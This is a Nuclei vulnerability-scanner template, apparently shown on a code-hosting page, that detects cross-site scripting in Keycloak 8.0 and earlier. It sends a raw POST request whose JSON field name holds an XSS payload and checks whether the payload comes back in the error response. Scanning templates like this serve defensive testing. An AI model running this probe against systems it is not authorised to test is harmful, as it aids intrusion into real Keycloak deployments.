nuclei-templates/vulnerabilities/other/keycloak-xss.yaml

28 lines
615 B
YAML
Raw Normal View History

2021-02-01 16:47:31 +00:00
id: keycloak-xss
info:
name: Keycloak <= 8.0 - Cross Site Scripting
author: incogbyte
severity: info
reference:
- https://cure53.de/pentest-report_keycloak.pdf
tags: keycloak,xss
2021-02-01 16:47:31 +00:00
requests:
- raw:
- |
POST /auth/realms/master/clients-registrations/openid-connect HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"<img onerror=confirm(1337) src/>":1}
matchers-condition: and
matchers:
- type: status
status:
- 400
- type: word
words:
- 'Unrecognized field "<img onerror=confirm(1337) src/>"'